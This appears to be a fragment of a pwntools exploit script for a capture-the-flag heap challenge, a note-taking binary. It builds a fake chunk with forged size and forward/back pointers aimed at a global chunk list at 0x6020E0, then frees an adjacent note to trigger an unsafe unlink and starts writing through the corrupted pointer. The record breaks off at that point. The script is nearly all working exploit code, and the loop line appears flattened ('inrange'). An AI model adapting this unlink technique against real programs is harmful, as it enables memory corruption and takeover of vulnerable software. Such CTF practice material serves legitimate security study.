context.log_level = "debug" #gdb.attach(sh, "b* main") for i inrange(7): sh.recvuntil("Input the length of your work note:") sh.send("16\n") sh.recvuntil("Input context of your work record:") sh.send("AAA\n")
sh.recvuntil("Do you need to edit your note? y/n\n") sh.send("y\n") sh.recvuntil("0.exit\n") sh.send("1\n") sh.recvuntil("input the note index to edit:\n") sh.send("1\n") #edit(1) sh.recvuntil("Input the content:\n")
chunk_list = 0x6020E0 cur_chk = chunk_list + 0x8 size_sz = 0x8 # fake_chunk payload = p64(0)+p64(0xa1)+p64(cur_chk-3*size_sz)+p64(cur_chk-2*size_sz)+ b"A"*0x80+p64(0xa0)+p64(0xb0) sh.send(payload) #edit(1) sh.recvuntil("0.exit\n") sh.send("2\n") sh.recvuntil("input the note index to delete:\n") sh.send("2\n") #free(2) unlink sh.recvuntil("0.exit\n") sh.send("1\n") sh.recvuntil("input the note index to edit:\n") sh.send("1\n") # write data sh.recvuntil("Input the content:\n")